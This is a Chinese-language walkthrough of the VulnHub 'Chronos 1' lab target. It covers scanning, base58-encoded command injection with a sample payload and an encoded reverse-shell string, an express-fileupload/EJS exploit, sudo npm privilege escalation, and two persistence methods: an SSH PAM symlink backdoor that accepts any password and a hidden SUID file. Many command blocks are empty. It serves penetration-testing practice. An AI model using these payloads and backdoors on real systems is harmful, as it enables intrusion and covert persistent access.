靶机下载地址:https://www.vulnhub.com/entry/chronos-1,735/
 教程链接地址: https://www.cnblogs.com/sainet/p/15801144.html
# 确认攻击目标
攻击机 KALI: 192.168.31.135
 靶机 CHRONOS:桥接于 192.168.31.1 的网卡,ip 未知
1)arp 确定靶机地址
 sudo arp-scan -l
 
-> 目标机器的 ip 地址: 192.168.31.238
- 确认靶机 ip 开放的端口信息
 sudo nmap -A -p- 192.168.31.238 -oN /tmp/chronos.txt
 
-> 靶机开放端口 21, 80, 8080
# js 代码美化
打开 http://192.168.31.238/ 收集信息

审查源代码,发现一串敏感代码
 
https://gchq.github.io/CyberChef/ 上进行 js 代码美化

复制代码,并且写到 kali 上,开启简易 web,在网站上浏览详细内容
 
看到了一个可疑的 url 地址:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
-> 可疑密文:4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

# base58 解密
修改本地 hosts,访问此网站
 
将可疑密文在 https://gchq.github.io/CyberChef/ 上进行解密,发现是 base58 加密
 '+Today is %A, %B %d, %Y %H:%M:%S.' 
 即意味着服务上执行了 date ‘+Today is % A, % B % d, % Y % H:% M:% S.’
想办法构造 payload 拼接此代码并进行加密

date ‘+Today is %A, %B %d, %Y %H:%M:%S.’|ls
 并且在 cyberchef 上进行 base58 加密
 
得到密文:6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMb7Wdg

访问 url 地址:http://chronos.local:8000/date?format=6o4pVfNt5u68hvKNrAyNuyr7at25Ddm18CEZm8JmX2GYysMb7Wdg
访问网址后并没有很明显的效果返回,利用 burp 做中间代理,拦截浏览器的数据,查看返回数据包,返回的是权限不足

修改 UA 头,将其改为网站 header 指向的 Chronos 重发数据包,返回数据成功

# 拼接 linux 命令反弹
在 CyberChef 上获取到反弹 shell 的 base58 加密的字符
 U6YeY5FABfZU5dWU4iyrYh9ftggJULF7AzvEmsEnqUSdUnWKwDwYAdF6xprK9ZaUTnNV4HebvA5KUFR4p8U1GPYuZzx927U1oUJ4sCBU3eETEhVAMyAEe55PUwNR

拼接到 url 地址中,并且监听本地的 4445 端口,等待 shell
 等同于访问 http://chronos.local:8000/date?format=U6YeY5FABfZU5dWU4iyrYh9ftggJULF7AzvEmsEnqUSdUnWKwDwYAdF6xprK9ZaUTnNV4HebvA5KUFR4p8U1GPYuZzx927U1oUJ4sCBU3eETEhVAMyAEe55PuwNR
 并修改 UA 为 Chronos

| 1 | 接收到shell之后,使用python3 改为一个标准的终端 | 
 
# 服务器信息收集
| 1 | 收集服务器的相关信息 | 
发现服务器上无权限设置的错误,也不能利用 pkexec
 进行提权,id 组也没有设置错误,没有 suid 的错误权限可利用文件
 
# express-fileupload 提权
继续翻阅文件,查找的一个 chronos-v2 的文件夹,找到 server.js 中有 express-fileupload 的调用
 
直接用谷歌搜索是否存在此组件的漏洞,果然找到了一个 exp
 
在 github 上找到了 ejs 利用的代码,复制此 payload

将 payload 中的参数进行修改,反弹主机 ip 和端口,以及 ejs 的端口号

开启简易 web 服务,将此文件下载到目标靶机上
 
目标靶机通过运行 ejs.py 文件,shell 成功被反弹
| 1 | 使用python,stty得到一个标准的shell | 

# sudo (npm/node) 提权
查看相关权限的设置,发现 npm,node 都可以提权
在 https://gtfobins.github.io/ 上找到提权命令进行提权
| 1 | npm 提权 | 
 
-> 获取到了 root 权限
# SSH PAM 软链接维权
| 1 | ## 靶机上执行: | 
 
| 1 | ## 攻击机执行: | 
实际测试中发现,如果 root 用户被禁止登陆时此方式不能直接登陆,但是可以利用其他存在的用户身份登陆,如:
ssh imera@192.168.31.238 -p 12345 接着输入任意密码就可以 imera 用户权限登陆了
| 1 | 在ssh的配置文件中开启root登陆,是否可以解决无法用root登陆的问题 | 
 
-> 并不能直接登陆到 root 账户,需要其他的设置进入 root 账户
# SUID 权限维持
| 1 | 制作隐藏的SUID文件 | 
 
| 1 | 连接靶机并用SUID文件提权至root | 
-> 维持到了 root,现用 imera 登陆,再用 /var/.hack 提权
